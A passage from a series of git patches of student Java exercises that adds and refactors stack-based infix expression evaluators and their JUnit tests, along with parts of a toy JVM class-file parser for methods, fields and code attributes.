+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}

From 50447105b3c52854431fec9f7468e8f2a7522393 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Fri, 14 Apr 2017 10:20:48 +0800
Subject: [PATCH 082/262] =?UTF-8?q?week6=20=E4=B8=AD=E5=BA=8F=E8=A1=A8?=
 =?UTF-8?q?=E8=BE=BE=E5=BC=8F=E6=B1=82=E5=80=BC=20=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding/basic/stack/expr/InfixExpr.java    | 20 ++++++++-----------
 1 file changed, 8 insertions(+), 12 deletions(-)

diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
index 51bf762651..091c670ba8 100644
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -39,9 +39,8 @@ public float evaluate() {
                     //TODO analyze
                     char op = (char) opStack.pop();
                     if (level.get(chars[pos]) <= level.get(op)) {
-                        int b = (int) numStack.pop();
-                        int a = (int) numStack.pop();
-                        int c = this.caculate(a, b, op);
+
+                        int c = this.caculate(op);
                         numStack.push(c);
                         opStack.push(chars[pos]);
                         pos++;
@@ -62,12 +61,10 @@ public float evaluate() {
 
         while(!opStack.isEmpty()){
             char op = (char) opStack.pop();
-            int b = (int) numStack.pop();
-            int a = (int) numStack.pop();
-            int c = this.caculate(a, b, op);
-            numStack.push(c);
 
-        }
+            int c = this.caculate(op);
+            numStack.push(c);
+       }
 
         return (int)numStack.pop();
     }
@@ -96,7 +93,9 @@ private int getNumber() {
         return num;
     }
 
-    private int caculate(int a, int b, char c) {
+    private int caculate(char c) {
+        int b = (int) numStack.pop();
+        int a = (int) numStack.pop();
         switch (c) {
             case '+':
                 return a + b;
@@ -106,9 +105,6 @@ private int caculate(int a, int b, char c) {
                 return a * b;
             case '/':
                 return a / b;
-
-
-
         }
         return -1;
     }

From 23a19dcdfe9d9fadc9cf4157a264ff2def9fad7b Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Sun, 16 Apr 2017 13:01:21 +0800
Subject: [PATCH 083/262] expr

---
 .../coding/basic/stack/expr/InfixExpr.java    | 75 +++++++++++++++++++
 1 file changed, 75 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java

diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..e0d6af6a21
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,75 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Stack;
+
+public class InfixExpr {
+	//操作数为整数，操作符只支持+、-、*、/，/的返回值为float类型
+	private String expr = "";
+	private char[] sc = null;
+	private int pos = 0;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		this.sc = expr.toCharArray();
+	}
+	
+	//下一个操作数
+	private int nextOperand(){
+		int result = sc[pos] - 48;//char:'0'-->int:0
+		pos++;
+		while(pos < sc.length && sc[pos] >= '0' && sc[pos] <= '9'){
+			result = result * 10 + (sc[pos] - 48);
+			pos++;
+		}
+		return result;
+	}
+	
+	//下一个操作符
+	private char nextOperator(){
+		return sc[pos++];
+	}
+
+	public float evaluate() {		
+		Stack<Number> stack = this.multiplyDivide();
+		float result = add(stack);
+		return result;
+	}
+	
+	//将栈内所有操作数相加
+	private float add(Stack<Number> stack){
+		if(stack == null || stack.isEmpty()){
+			return 0;
+		}
+		
+		float result = 0;
+		while(!stack.isEmpty()){
+			result = result + (float)stack.pop();
+		}
+		return result;
+	}
+	
+	//操作数入栈，完成乘除运算，'-'随数入栈
+	private Stack<Number> multiplyDivide(){
+		Stack<Number> operandStack = new Stack<Number>();
+		operandStack.push((float)this.nextOperand());
+		int tempOperand = 0;
+		char tempOperator = 0;
+		while(pos < sc.length){
+			tempOperator = this.nextOperator();
+			tempOperand = this.nextOperand();
+			if(tempOperator == '+'){
+				operandStack.push((float)tempOperand);
+			}else if(tempOperator == '-'){
+				operandStack.push((float)(- tempOperand));
+			}else if(tempOperator == '*'){
+				float top = (float)operandStack.pop();
+				operandStack.push(top * tempOperand);
+			}else if(tempOperator == '/'){
+				float top = (float)operandStack.pop();
+				operandStack.push(top / tempOperand);
+			}
+		}
+		
+		return operandStack;
+	}
+}

From 1a985bf1e3f570fd2bd4b6abbd81c510575519b5 Mon Sep 17 00:00:00 2001
From: kai <kaideguo@gmail.com>
Date: Sun, 16 Apr 2017 16:00:54 +0800
Subject: [PATCH 084/262] =?UTF-8?q?=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +++
 .../com/coderising/jvm/attr/CodeAttr.java     | 121 ++++++++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  69 ++++++++++
 .../jvm/attr/LocalVariableItem.java           |  39 ++++++
 .../jvm/attr/LocalVariableTable.java          |  58 +++++++++
 .../coderising/jvm/attr/StackMapTable.java    |  30 +++++
 .../com/coderising/jvm/clz/ClassFile.java     |  23 +++-
 .../com/coderising/jvm/field/Field.java       |  49 +++++++
 .../jvm/loader/ByteCodeIterator.java          |  12 ++
 .../jvm/loader/ClassFileLoader.java           |  18 +--
 .../jvm/loader/ClassFileParser.java           |  76 +++++++++--
 .../com/coderising/jvm/method/Method.java     |  90 +++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |  79 ++++++++++++
 .../src/com/coding/basic/array/ArrayList.java |   2 +-
 .../coding/basic/stack/expr/InfixExpr.java    |  98 ++++++++++++++
 .../basic/stack/expr/InfixExprTest.java       |  48 +++++++
 16 files changed, 805 insertions(+), 26 deletions(-)
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/field/Field.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/expr/InfixExprTest.java

diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..f9292d0dcb
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,121 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+		
+		String code = iter.nextUxToHexString(codeLen);
+		
+		System.out.println(code);
+		
+		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+		
+		int exceptionTableLen = iter.nextU2ToInt();
+		//TODO 处理exception
+		if(exceptionTableLen>0){
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table , just ignore it :" + exTable);
+			
+		}
+		
+		int subAttrCount = iter.nextU2ToInt();
+		
+		for(int x=1; x<=subAttrCount; x++){
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+		
+			//已经向前移动了U2, 现在退回去。
+			iter.back(2);
+			//line item table
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			}
+			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			} 
+			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			}
+			else{
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+			
+			
+		}
+		
+		return codeAttr;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Code:").append(code).append("\n");
+		/*for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}*/
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	
+	
+	
+	
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..fc8fe92d9b
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,69 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		
+		LineNumberTable table = new LineNumberTable(index,len);
+		
+		int itemLen = iter.nextU2ToInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..88f677b2c8
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		
+		LocalVariableTable table = new LocalVariableTable(index,len);
+		
+		int itemLen = iter.nextU2ToInt();
+		
+		for(int i=1; i<=itemLen; i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/attr/StackMapTable.java b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
index 650ca8375d..eb17998c52 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
@@ -1,17 +1,23 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFile {
 	
 	private int minorVersion;
 	private int majorVersion;
 	
+	private ConstantPool pool;
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -48,7 +54,18 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	
 	public void print(){
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/field/Field.java b/group06/1378560653/mini-jvm/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..645016368e
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/field/Field.java
@@ -0,0 +1,49 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		
+		String name = pool.getUTF8String(nameIndex);
+		String desc = pool.getUTF8String(descriptorIndex);
+
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ClassFile clzFile,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attributeCount = iter.nextU2ToInt();
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex, clzFile.getConstantPool());
+		
+		if(attributeCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
index 9293f1706e..23860c17e8 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -37,4 +37,16 @@ public byte[] getBytes(int length) {
 		return data;
 	}
 
+	public String nextUxToHexString(int len) {
+		byte[] temp = new byte[len];
+		for(int i = 0; i < len; i++){
+			temp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(temp).toLowerCase();
+	}
+	
+	public void back(int i) {
+		pos -= i;
+		
+	}
 }
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
index 12e7096bc5..91b1068989 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
@@ -15,7 +15,12 @@
 
 
 public class ClassFileLoader {
-
+	/*
+	 * 1.加载文件路径
+	 * 2.加载.class文件
+	 * 3.将.class文件转换为字节数组
+	 * 4.解析.class字节数组
+	 */
 	private List<String> clzPaths = new ArrayList<String>();
 	
 	public byte[] readBinaryCode(String className) {
@@ -33,8 +38,6 @@ public byte[] readBinaryCode(String className) {
 		
 		return null;
 		
-		
-		
 	}
 	
 	private byte[] loadClassFile(String clzFileName) {
@@ -97,13 +100,10 @@ private byte[] loadClassFile_V1(String clzFileName) {
 		try {
 			
 			File f = new File(clzFileName);
-			
-						
+				
 			bis = new BufferedInputStream(new FileInputStream(f));
-			
 			ByteArrayOutputStream bos = new ByteArrayOutputStream();
 			
-			
 			byte[] buffer = new byte[1024];
 			int length = -1;
 			
@@ -130,8 +130,4 @@ private byte[] loadClassFile_V1(String clzFileName) {
 		return null;
 		
 	}
-
-
-	
-
 }
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
index 5c13f9972f..ebce02bc4b 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
@@ -13,6 +13,8 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 import com.sun.xml.internal.bind.v2.runtime.Name;
 
 public class ClassFileParser {
@@ -46,21 +48,59 @@ public ClassFile parse(byte[] codes) {
 		ClassIndex clzIndex = parseClassIndex(iter);
 		clzFile.setClassIndex(clzIndex);
 		
+		//6.Interface
+		parseInterfaces(iter);
+		
+		//7.Filed
+		parseFileds(clzFile, iter);
+		
+		//8.Method
+		parseMethods(clzFile, iter);
+		
 		return clzFile;
 	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
-		return flag;
+	
+	/*
+	 * ---------------------------------------------------------------------------
+	 * 4.Interface
+	 * 5.Field
+	 * 6.Method
+	 */
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+		System.out.println("interfaceCount:" + interfaceCount);
+		
+		//TODO:EmployeeV1.java没有实现接口，只读出其接口个数：0;若实现interface,则解析
 	}
-
-	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-		ClassIndex clzIndex = new ClassIndex();
-		clzIndex.setThisClassIndex(iter.nextU2ToInt());
-		clzIndex.setSuperClassIndex(iter.nextU2ToInt());
-		return clzIndex;
-
+	
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		int fieldCount = iter.nextU2ToInt();
+		System.out.println("fieldCount:" + fieldCount);
+		
+		for(int i = 1; i <= fieldCount; i++){
+			Field field = Field.parse(clzFile, iter);
+			clzFile.addField(field);
+		}
+		
 	}
+	
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		int methodCount = iter.nextU2ToInt();
+		System.out.println("methodCount:" + methodCount);
+		
+		for(int i = 1; i <= methodCount; i++){
+			Method method = Method.parse(clzFile, iter);
+			clzFile.addMethod(method);
+		}
+		
+	}
+	
+	/*
+	 * ---------------------------------------------------------------------------
+	 * 1.ConstantPool
+	 * 2.AccessFlag
+	 * 3.ClassIndex
+	 */
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		
@@ -139,6 +179,20 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		}
 		return pool;
 	}
+	
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(iter.nextU2ToInt());
+		clzIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return clzIndex;
+	}
+
+	
 
 	
 }
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java b/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..f08312b396
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
@@ -0,0 +1,90 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = pool.getUTF8String(nameIndex);
+		
+		String desc = pool.getUTF8String(descriptorIndex);
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		
+		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+		
+		for( int j=1; j<= attribCount; j++){
+			
+			int attrNameIndex = iter.nextU2ToInt();	
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+			
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			} else{
+				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			}
+			
+		}
+		
+		return m ;
+		
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
index 61f592aaa4..a43d684af8 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -13,6 +15,8 @@
 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.field.Field;
